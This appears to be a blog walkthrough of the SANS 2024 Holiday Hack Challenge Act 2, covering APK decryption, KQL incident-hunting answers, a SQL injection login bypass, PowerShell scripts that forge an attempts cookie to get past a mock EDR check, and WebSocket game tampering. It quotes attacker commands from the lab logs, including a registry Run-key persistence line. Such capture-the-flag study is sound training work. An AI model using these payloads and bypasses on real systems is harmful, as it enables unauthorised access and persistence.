SANS 2024 Holiday Hack Challenge - Act 2

SANS 2024 Holiday Hack Challenge - Act 2

Continuing the challenge after the Prologue and Act 1 this set of challenges is set in the North Pole DMZ it seems.

Mobile Analysis

Eve Snowhoses has provided us with a debug and release version of an Android app called Santa Swipe for managing the Naughty/Nice List. The first task is to find which child's name was left off the Naughty and Nice List in the debug version. The debug version is provided as an APK while the release one is provided as an AAB.

Debug Version

First, I loaded the APK into JADX for analysis. In assets/index.html we can see some functions to get the list items. So, we can probably use these as clues to search through the code.

The first hints of where the list my be constructed from.

Searching the code in JADX for getNormalList we find some associated code in the com/northpole.santawipe/MainActivity file that seems to indicate the data is coming from an SQLite database.

SQL statements that indicate a database is at play here.

Sure enough, looking in com/northpole.santawipe/DatabaseHelper we can see the database setup commands.

All the names that are added to the initial list.

As it turns out, the answer was in the screenshot 2 above in the SQL statement I mentioned. For some reason, poor Ellie is filtered out of the results. This earns the silver achievement for mobile analysis.

Release/Secure Version

This version is only provided as an AAB. The first step is to convert the AAB to an APK. You can do this with the bundletool available here. Then run the tool as described in this StackOverflow article

java -jar bundletool-all-1.17.2.jar build-apks --bundle=~/hhc2024/SantaSwipeSecure.aab --output=~/hhc2024/SantaSwipeSecure.apks --mode=universal

Then, from the link in the hints, you can simply change the resultant apks file to a zip file, unzip, and find a normal APK to do analysis on.

Inside the strings.xml file is this tidbit that I did not see in the debug version.

New values in the strings.xml file indicating encryption with an Initialization Vector

Decoding this results in the text CheckMaterix. Looking back in the same place that we got the answer before, we see that the database data is now encrypted. Perhaps we have the decryption key and just need to figure out the process. There is a function that outlines the code to do this. There are also some variable definitions early in the code that will provide us clues.

New decrypted database contents
The database data encryption routine

The steps I followed to piece this back together:

  • string is set to the value of ek from strings.xml
    • rmDJ1wJ7ZtKy3lkLs6X9bZ2Jvpt6jL6YWiDsXtgjkXw=
    • Then some string cleanup is performed and assigned to obj
  • string2 is et to the value of iv from strings.xml
    • Q2hlY2tNYXRlcml4
    • Then some string cleanup is performed and assigned to obj2
    • decode and decode2 are set to the base64 decoded version of obj and obj2 respectively.
  • iv is set to the value of decode2

So, with that information I should be able to decode the necessary information. After significant Googling and Gemini'ing. I got a script cobbled together to decrypt all this.

from Crypto.Cipher import AES
import base64

def decrypt_aes_gcm_no_tag(ciphertext, key, iv):
    # Decode the base64 encoded ciphertext, key, and iv
    ciphertext = base64.b64decode(ciphertext)
    key = base64.b64decode(key)
    iv = base64.b64decode(iv)

    # Create AES-GCM cipher object
    cipher = AES.new(key, AES.MODE_GCM, nonce=iv)

    # Decrypt the ciphertext
    plaintext = cipher.decrypt(ciphertext)

    return plaintext

# Example usage
ciphertext = 'IVrt+9Zct4oUePZeQqFwyhBix8cSCIxtsa+lJZkMNpNFBgoHeJlwp73l2oyEh1Y6AfqnfH7gcU9Yfov6u70cUA2/OwcxVt7Ubdn0UD2kImNsclEQ9M8PpnevBX3mXlW2QnH8+Q+SC7JaMUc9CIvxB2HYQG2JujQf6skpVaPAKGxfLqDj+2UyTAVLoeUlQjc18swZVtTQO7Zwe6sTCYlrw7GpFXCAuI6Ex29gfeVIeB7pK7M4kZGy3OIaFxfTdevCoTMwkoPvJuRupA6ybp36vmLLMXaAWsrDHRUbKfE6UKvGoC9d5vqmKeIO9elASuagxjBJ'
key = 'rmDJ1wJ7ZtKy3lkLs6X9bZ2Jvpt6jL6YWiDsXtgjkXw='
iv = 'Q2hlY2tNYXRlcml4'

decrypted_text = decrypt_aes_gcm_no_tag(ciphertext, key, iv)
print("Decrypted text:", decrypted_text)

Which results in the plaintext:

Decrypted text: b"CREATE TRIGGER DeleteIfInsertedSpecificValue\n    AFTER INSERT ON NormalList\n    FOR EACH ROW\n    BEGIN\n        DELETE FROM NormalList WHERE Item = 'KGfb0vd4u/4EWMN0bp035hRjjpMiL4NQurjgHIQHNaRaDnIYbKQ9JusGaa1aAkGEVV8=';\n    END;\xab[t\x9eD\xc5G\x19\x9c\xdd\xdel\xdc\xfb@\x03"

Running that encrypted string through the script again...

Decrypted text: b'Joshua, Birmingham, United Kingdom\x1bvrT.\xd77\x8f\xc6D\xd4\xa57\x9et\xe4'

As a note: I tried for a LONG time to get this to work with some ready-made AES decryption tools and just could not figure it out. In this case, I have to say, AI came through!

Microsoft KC7

KQL Logs – hell yeah! But I have to make an account...womp womp.

KQL 101

I am not going to write this section up as it is a tutorial and should be followed along with.

Operation Surrender

Question 1

surrender

Question 2

[email protected]

Email
| where subject contains 'surrender'

Question 3

Email
| where sender == '[email protected]'
| where subject contains 'surrender'
| distinct recipient
| count

22

Question 4

Email
| where sender == '[email protected]'
| where subject contains 'surrender'
//link column

Team_Wombley_Surrender.doc

Question 5

Employees
| join kind=inner (
    OutboundNetworkEvents
) on $left.ip_addr == $right.src_ip // condition to match rows
| where url contains "Team_Wombley_Surrender.doc"
| project name, ip_addr, url, timestamp // project returns only the information you select
| sort by timestamp asc //sorts time ascending

Joyelle Tinseltoe

Question 6

let joyelleHostname = Employees
| where name == "Joyelle Tinseltoe"
| project hostname;
ProcessEvents
| where hostname in (joyelleHostname)
| where timestamp between (datetime('2024-11-27T14:11:45') .. datetime('2024-11-27T14:28:45'))

keylogger.exe

Question 7

let flag = "keylogger.exe";
let base64_encoded = base64_encode_tostring(flag);
print base64_encoded

a2V5bG9nZ2VyLmV4ZQ==

Operation Snowfall

Question 1

Simply type the phrase to continue.

Question 2

Using the provided query:

AuthenticationEvents
| where result == "Failed Login"
| summarize FailedAttempts = count() by username, src_ip, result
| where FailedAttempts >= 5
| sort by FailedAttempts desc

We can see that IP 59.171.58.12 has a very high number of failed logins.

Question 3

AuthenticationEvents
| summarize FailedAttempts = count() by username, src_ip, result
| where src_ip == "59.171.58.12"
| where result != "Failed Login"
| distinct username
| count

23

Question 4

Looking at the description column of the successful login attempts reveals that RDP was the vector.

Question 5

let alabasterHostname = Employees
| where name contains "alabaster"
| project hostname;
ProcessEvents
| where hostname in (alabasterHostname)

Looking through these events, we can see only one command where a file was moved to an external location.

copy C:\Users\alsnowball\AppData\Local\Temp\Secret_Files.zip \\wocube\share\alsnowball\Secret_Files.zip

Before this action, we see a few files being staged and zipped up for extraction and then deletion of these staged files afterwards.

Question 6

With the same query from Question 5, we can see that after the files are exfiltrated, the attacker clears the event logs and then runs C:\Windows\Users\alsnowball\EncryptEverything.exe

Question 7

Base64 encode the previous answer.

Echoes in the Frost

Question 1

Type the phrase to continue.

Question 2

Email
| where subject contains 'breach'
| sort by timestamp asc 

The timestamp of the first email with a subject containing breach is 2024-12-12T14:48:55Z

Question 3

// Get Noel's IP Address
let noelIp = Employees
| where name == 'Noel Boetie'
| distinct ip_addr;
OutboundNetworkEvents
// Filter to events from Noel's machine
| where src_ip in (noelIp)
// Only look at events after receipt of the email, answer to question 2
| where timestamp > datetime('2024-12-12T14:48:55Z')
// Look for earliest
| sort by timestamp asc 

24-12-12T15:13:55Z

Question 4

PassiveDns
| where domain == 'holidaybargainhunt.io'

182.56.23.122

Question 5

Using the IP from the previous question, let's look in the AuthenticationEvents logs.

AuthenticationEvents
| where src_ip == '182.56.23.122'

"hostname": WebApp-ElvesWorkshop,

Question 6

ProcessEvents
| where hostname == 'WebApp-ElvesWorkshop'
| where timestamp >= datetime(2024-11-29T12:25:03Z)

Invoke-Mimikatz.ps1

Question 7

From question 3, we know that echo.exe among other files were downloaded. Ultimately, they downloaded 4 files:

  • echo.exe
  • front.7z
  • clearly.exe
  • holidaycandy.hta

We want to know when the file was executed. First, I want to see what happened with these files.

let noelHostname = Employees
| where name == 'Noel Boetie'
| distinct hostname;
ProcessEvents
| where hostname in (noelHostname)
| where process_commandline has_any ('echo.exe', 'front.7z','clearly.exe','holidaycandy.hta')

The earliest timestamp is from the execution of echo.exe seemingly through a simple double-click of the file in Explorer.

2024-12-12T15:14:38Z

Question 8

We can use the same query from Question 3 for this.

compromisedchristmastoys.com

Question 9

The questions asks if any new files were created after frosty.zip was extracted. We can see this event with the query below and get the resultant timestamp of that event, so we know to look later than that event.

let noelHostname = Employees
| where name == 'Noel Boetie'
| distinct hostname;
ProcessEvents
| where hostname in (noelHostname)

2024-12-24T17:19:45Z

let noelHostname = Employees
| where name == 'Noel Boetie'
| distinct hostname;
FileCreationEvents
| where hostname in (noelHostname)
| where timestamp >= datetime('2024-12-24T17:19:45Z')
| sort by timestamp asc 

C:\Windows\Tasks\sqlwriter.exe first and then C:\Windows\Tasks\frost.dll

Question 10

Using the ProcessEvents query from question 9, we can see the command line that set the registry key.

New-Item -Path "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" -Name "MS SQL Writer" -Force | New-ItemProperty -Name "frosty" -Value "C:\Windows\Tasks\sqlwriter.exe" -PropertyType String -Force

With the property name frosty

Question 11

Base64 encode the previous answer of frosty

Drone Path

The landing page for the Elf Drone Workshop application

This appears to be a web app that accepts log uploads for analysis. Love me some web app hacking.

Recon

First, we will start by just exploring the app and looking as what is available.

  • Home
  • FileShare
  • Login

There is sure to be some interesting stuff here. Now I want to take a look at the requests associated with these functions. The main page just loads some scripts, but one (script.js) seems to be loaded from local sources so might be more interesting. Tearing that file apart:

  • We can see the login functionality sends requests to /api/v1.0/elfLogin
    • Other versions of the API do not do anything
  • After successful login, the user is redirected to /workshop
    • Forced browsing here does not work
  • Some details about the pages available in the authenticated portion of the application along with associated APIs.
    • /api/v1.0/drones?drone=${droneName}
    • /api/v1.0/drones/${droneName}/comments
  • An admin console at /admin_console that takes a URL parameter code
    • Force browsing here does not work

The FileShare link includes a link to a file called fritjolf-Path.kml, which is essentially a coordinates file in XML/KML format. I am just going to guess this is heading towards an XML External Entity (XXE) attack (it did not).

The logon page is as expected and pretty simple but adding a single quote mark to the username triggers a 500 Internal Server Error, so we may have some SQL injection here.

KML File

Loading the KML file into Google Earth is revealing!

The results of loading the KML file into Google Earth

GUMDROP1

Not sure quite how to use this yet. This might be the login password, but I don't know a user and the method below is easier.

Turns out that this is the password for the user who created the file fritjolf. Logging in with this user and password, there is a new file available in the Profile page. However, prior to figuring this out, I figured out the next flaw in the application.

Authentication Bypass

Trying some standard SQL payloads, I was able to bypass the authentication with the payload test' or 1=1 --

Successful authentication bypass via SQL injection

Drone Information

Now on the Workshop page, we can query information about drones. Again, SQL injection or some other injection may be the path here; a single quote triggers a 500 Internal Server Error. Using the same payload as before, we get many drone details.

Retrieval of all drone details via SQLi

The UI only shows one comment, but the backend traffic from Developer Tools shows the remaining comments. Including reference to a special file at ../files/secret/ELF-HAWK-dump.csv

A comment indicating the existence of a secret file

There is also this potential hint in another comment: I heard a rumor that there is something fishing with some of the files. \nThere was some talk about only TRUE carvers would find secrets and that FALSE ones would never find it.

Mysterious CSV - ELF-HAWK

Sure enough, the CSV path from above works. There are MANY columns with True/False data. Perhaps one of these is going to be the activation code binary encoded.

There is also the Lat/Long data that might do something similar to the first KML file. Using the script below, I converted this data to a KML file. Uploading to Google Earth though was not successful and just looked like the Death Star.

import csv
import simplekml

inputfile = csv.reader(open('ELF-HAWK-dump.csv','r'))
kml=simplekml.Kml()

for row in inputfile:
  kml.newpoint(name=row[0], coords=[(row[4],row[5])])

kml.save('elfhawk.kml')

After a hint from another player that perhaps the coordinates were not meant for a globe, I looked closer at the coordinates data and realized that the x-axis continues to grow indicating that this indeed, will never plot right on a globe. I moved over to Python and got Copilot to generate a script to plot data points on a generic plane. After some minor massaging of the resultant script, I ended up with the script below and the answer.

import pandas as pd
import matplotlib.pyplot as plt

# Load the CSV file
file_path = 'ELF-HAWK-dump.csv'
data = pd.read_csv(file_path)

# Extract coordinates from two columns
x = data['OSD.longitude']
y = data['OSD.latitude']

# Plot the coordinates
plt.figure(figsize=(10, 6))
plt.scatter(x, y, color='blue', marker='o', s=2)
plt.title('Scatter Plot of Coordinates')
plt.xlabel('X Coordinates')
plt.ylabel('Y Coordinates')
plt.grid(True)
plt.show()
The resulting plot of the data

Next up is to figure out the TRUE/FALSE hint to find the Gold code. Perhaps, there is some column in here that we can key on for whether to use the data or not.

Gold

Gold on this one took me HOURS...HOURS I say. I actually started working on Gold before silver before I stepped back a bit. In my quest for Gold used a Python script to attempt the following, without success:

  • Take all the TRUE/FALSE information and render it into ASCII text
    • Gibberish
  • Take all the TRUE/FALSE information and render it into ASCII art
    • Included lots of unprintable characters
  • Take all the TRUE/FALSE information and render it into ASCII pixel art
    • Could not figure out the width but I could see "information"
  • I went across rows
    • Looked like there was some data present
  • I went down columns
    • Looked mostly random
  • I printed the text out and resized my window to make it look right
  • I wrote code snippets to print every possible width of the "image"
  • And probably much more

NONE of these worked and I was getting nowhere despite being almost 100% sure one of these was the right track. Then after a break, I came back and copied the same binary I had converted earlier and dropped it into CyberChef, just as I had earlier (numerous times) and miraculously it worked. I was flabbergasted and could not initially figured out why this all of a sudden worked. Turns out the issue was that the answer image did not start at the beginning of the binary string but 6 bits in.

import pandas as pd

# Load the CSV file
file_path = 'redownload.csv'
df = pd.read_csv(file_path)

# Traditional ASCII Art
# Don't know how to decide newlines
def convert_to_ascii(value):
    str = ""
    for i in range(0, len(value), 8):
        binc = value[i:i + 8]
        num = int(binc, 2)
        if chr(num).isascii():
            str += chr(num)
    return str

# Going row by row - this seems to have data
placeholder = ''
for index, data in df.iterrows():
    for column  in data:
        if isinstance(column, bool):
            if column:
                placeholder += '1'
            else:
                placeholder += '0'

print(convert_to_ascii(placeholder))
The resultant image from the generated binary in the Elf Hawk data

Extra: User-Agent Error

In my frustration, I clicked many times at once and got this error on the Admin Console.

Error: Too many requests from this User-Agent. Limited to 1 requests per 1 seconds.

User-Agent is a weird way to rate limit people.

But this did not turn into an attack vector.

Extra: CSV - Preparations

Using the coordinates in the file and converting the tuples to comma separated values with spaces between each touple, I was able to replace the data in the fritjol KML file with these values and put it in Google Earth. The pattern doesn't seem like much, but if you zoom in on each point, there are letter type images.

A 'K' on the map.

KWAH-FLE = ELF-HAWK

But I already had this drone information via other means. Sad trombone noises.

PowerShell

1)

The instructions on starting this challenge

2)

Get-Content ./welcome.txt | measure -word

180

3)

netstat - lant

1225

4)

Invoke-WebRequest http://127.0.0.1:1225

401 (Unauthoirzed)

5)

$username = "admin"
$password = "admin"

# Create a credential object
$credential = New-Object System.Management.Automation.PSCredential($username, (ConvertTo-SecureString $password -AsPlainText -Force))

# Use the credential object with Invoke-WebRequest
$response = Invoke-WebRequest http://127.0.0.1:1225 -Credential $credential -AllowUnencryptedAuthentication
The output of the local webserver showing the API endpoints

6)

1..50 | ForEach-Object { Invoke-WebRequest http://127.0.0.1:1225/endpoints/$_ -Credential $credential -AllowUnencryptedAuthentication | measure -word }

Here we can see the 13th entry has the length indicated by the question.

7)

Let's request the indicated file.

$request = Invoke-WebRequest http://127.0.0.1:1225/token_overview.csv -Credential $credential -AllowUnencryptedAuthentication; $request.Content

8)

Communicate with the one un-redacted endpoint.

$request = Invoke-WebRequest http://127.0.0.1:1225/tokens/4216B4FAF4391EE4D3E0EC53A372B2F24876ED5D124FE08E227F84D687A7E06C -Credential $credential -AllowUnencryptedAuthentication; $request.Content

9)

The above returns an error that we are missing a Cookie called token. Trying with the SHA256 hash does not work but the corresponding MD5 does work.

$request = Invoke-WebRequest http://127.0.0.1:1225/tokens/4216B4FAF4391EE4D3E0EC53A372B2F24876ED5D124FE08E227F84D687A7E06C -Credential $credential -AllowUnencryptedAuthentication -Headers @{'Cookie'='token=5f8dd236f862f4507835b0e418907ffc'}; $request.Content

We get a response with an MFA code and indication that we should set it in the Cookie value mfa_code.

10)

Despite the previous response indicating the Cookie value to set is mfa_code the response when trying to validate indicates it should be mfa_token.

$request = Invoke-WebRequest http://127.0.0.1:1225/mfa_validate/4216B4FAF4391EE4D3E0EC53A372B2F24876ED5D124FE08E227F84D687A7E06C$ -Credential $credential -AllowUnencryptedAuthentication -Headers @{'Cookie'='token=5f8dd236f862f4507835b0e418907ffc; mfa_token=1732143590.373717'}; $request.Content

The response here indicates that the token is only valid for 2 seconds for security reasons, so we will need to script this together.

$mfa = (Invoke-WebRequest http://127.0.0.1:1225/tokens/4216B4FAF4391EE4D3E0EC53A372B2F24876ED5D124FE08E227F84D687A7E06C -Credential $credential -AllowUnencryptedAuthentication -Headers @{'Cookie'='token=5f8dd236f862f4507835b0e418907ffc'}).Links.href

$request = Invoke-WebRequest http://127.0.0.1:1225/mfa_validate/4216B4FAF4391EE4D3E0EC53A372B2F24876ED5D124FE08E227F84D687A7E06C -Credential $credential -AllowUnencryptedAuthentication -Headers @{'Cookie'="token=5f8dd236f862f4507835b0e418907ffc; mfa_token=$($mfa)"}; $request.Content

With a successful request, we get some Base64 back.

11)

Honestly for this one, I just decoded the text out of band and pasted the result in the terminal. That seemed to work.

Correct Token supplied, you are granted access to the snow cannon terminal. Here is your personal password for access: SnowLeopard2ReadyForAction

Gold

In order to get the correct hash, there is some trickiness that requires us to write the token value to a file before hashing. After doing this, and getting all the requests right, we are met with another protection. Then we can pass that information to the steps from Question 10

foreach ($row in $csvData) {
    # Access the values in each row and compute the hash
    $token = $row.file_MD5hash
    $tempFile = New-TemporaryFile 
    $token | Out-File -FilePath $tempFile.FullName -Encoding ASCII
    $hash = (Get-FileHash -Path $tempFile.FullName -Algorithm SHA256).Hash.Trim()
    Remove-Item -Path $tempFile.FullName -Force
Response to the MFA Code Endpoint
Response to the Validation endpoint

This seems to relate to one of the elf's hints about this "EDR" system, so it seems we can bypass it. Per the hint, we can see that a cookie value is set and looking at the headers of our responses, we indeed see the Cookie attempts is set. It appears to be Base64 encoded: Set-Cookie {attempts=c25ha2VvaWwK01; Path=/}. It also appears shared between all endpoints, as the hint indicates. This decodes to snakeoil indicating maybe this header isn't worth much. What if we set the cookie ourselves to 0.

Doing so produces a different/new error:

Perhaps the comment above about endpoints being scrambled means we need to try each MFA code with every token. Or perhaps the EDR protection only applies to the token request endpoint?

Well, it turned out that you simply have to set the attempts cookie higher than 10.

So the full script to complete both silver and gold is...

# 1
type welcome.txt
start-sleep 1

#2
Get-Content ./welcome.txt | measure -word
start-sleep 1

# 3
netstat - lant
start-sleep 1

# 4
Invoke-WebRequest http://127.0.0.1:1225
start-sleep 1

# 5
$username = "admin"
$password = "admin"

# Create a credential object
$credential = New-Object System.Management.Automation.PSCredential($username, (ConvertTo-SecureString $password -AsPlainText -Force))

# Use the credential object with Invoke-WebRequest
$response = Invoke-WebRequest http://127.0.0.1:1225 -Credential $credential -AllowUnencryptedAuthentication
$response.Content
start-sleep 2

# 6
1..50 | ForEach-Object { Invoke-WebRequest http://127.0.0.1:1225/endpoints/$_ -Credential $credential -AllowUnencryptedAuthentication | measure -word }
start-sleep 1

# 7
$request = Invoke-WebRequest http://127.0.0.1:1225/token_overview.csv -Credential $credential -AllowUnencryptedAuthentication; $request.Content
$request.Content
start-sleep 2

# 8
$request = Invoke-WebRequest http://127.0.0.1:1225/tokens/4216B4FAF4391EE4D3E0EC53A372B2F24876ED5D124FE08E227F84D687A7E06C$reques -Credential $credential -AllowUnencryptedAuthentication; $request.Content
start-sleep 1

# 9
$request = Invoke-WebRequest http://127.0.0.1:1225/tokens/4216B4FAF4391EE4D3E0EC53A372B2F24876ED5D124FE08E227F84D687A7E06C$reques -Credential $credential -AllowUnencryptedAuthentication -Headers @{'Cookie'='token=5f8dd236f862f4507835b0e418907ffc'}; $request.Content
start-sleep 1

# 10
$mfa = (Invoke-WebRequest http://127.0.0.1:1225/tokens/4216B4FAF4391EE4D3E0EC53A372B2F24876ED5D124FE08E227F84D687A7E06C$reques -Credential $credential -AllowUnencryptedAuthentication -Headers @{'Cookie'='token=5f8dd236f862f4507835b0e418907ffc'}).Links.href

$request = Invoke-WebRequest http://127.0.0.1:1225/mfa_validate/4216B4FAF4391EE4D3E0EC53A372B2F24876ED5D124FE08E227F84D687A7E06C$reques -Credential $credential -AllowUnencryptedAuthentication -Headers @{'Cookie'="token=5f8dd236f862f4507835b0e418907ffc; mfa_token=$($mfa)"}; $request.Content
start-sleep 1

# 11
# Extract paragraph tags using regular expressions
$paragraphs = [regex]::Matches($request.Content, '<p>(.*?)</p>')

# Output the text within the paragraph tags
foreach ($match in $paragraphs) {
    [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($match.Groups[1].Value))
}


# Gold
### Get CSV and Values
$username = "admin"
$password = "admin"

#### Create a credential object
$credential = New-Object System.Management.Automation.PSCredential($username, (ConvertTo-SecureString $password -AsPlainText -Force))

### Request CSV
$request = Invoke-WebRequest http://127.0.0.1:1225/token_overview.csv -Credential $credential -AllowUnencryptedAuthentication

### Export CSV
$request.Content > tokens.csv

### Iterate over values and perform the request(s) from step 10

$csvData = Import-Csv -Path "tokens.csv"
foreach ($row in $csvData) {
    # Access the values in each row and compute the hash
    $token = $row.file_MD5hash
    $tempFile = New-TemporaryFile 
    $token | Out-File -FilePath $tempFile.FullName -Encoding ASCII
    $hash = (Get-FileHash -Path $tempFile.FullName -Algorithm SHA256).Hash.Trim()
    Remove-Item -Path $tempFile.FullName -Force


    # Make MFA request as in step 10 for each
    $mfa = (Invoke-WebRequest http://127.0.0.1:1225/tokens/$hash -Credential $credential -AllowUnencryptedAuthentication -Headers @{'Cookie'="token=$($token)"}).Links.href

    $request = Invoke-WebRequest http://127.0.0.1:1225/mfa_validate/$hash -Credential $credential -AllowUnencryptedAuthentication -Headers @{'Cookie'="token=$($token); mfa_token=$($mfa); attempts=11"}; $request.content
}

Snowball Showdown

A fun little game that seems to be driven primarily with WebSockets. With a very quick and hasty attempt, my first modification of the WebSockets message was met with a "CHEATING HACKER DETECTED" message.

Reviewing the game's WebSocket traffic, we have several different message types that you can also find in the games JavaScript file. Some of interest:

    • alWoUp
      • To Client
      • This show the player's positions and hit information
    • snowballlp
      • To Server/Client
      • This is the snowball through information. It includes an isWomb parameter that is interesting.
    • sbh
      • To Server/Client
      • Just includes an integer ID and position information
    • player_pos
      • To Server
      • Fairly self explanatory

Presumably, I am going to have to modify some of these to win the game. Specifically, you can use the snowballp message to rapid fire snowballs with larger blast radii and at a much higher rate than the game allows. You can even set a different start position to make things a bit easier. With this, winning the game is not too difficult.

What I find interesting here is the specific wording at the bottom, as if perhaps we could force a win result. After this win, Dusty Giftwrap also hints that we might be able to dive into the game's code for a secret weapon.

Digging into the code, I decided to do a manual review of the full JavaScript file and did not find much. Next, I search for all ws.send events, since that is what we could conceivably work with...and sure enough, I found this!

The Mother of all Snowballs

Now I just need to figure out how to invoke this. Turns out it is as simple as it looks, you simply send a WebSocket message with {'type': 'moasb'} and shortly an Atomic Bomb of a snowball is dropped on Wombley.

Wombley being decimated by our Atomic Snowball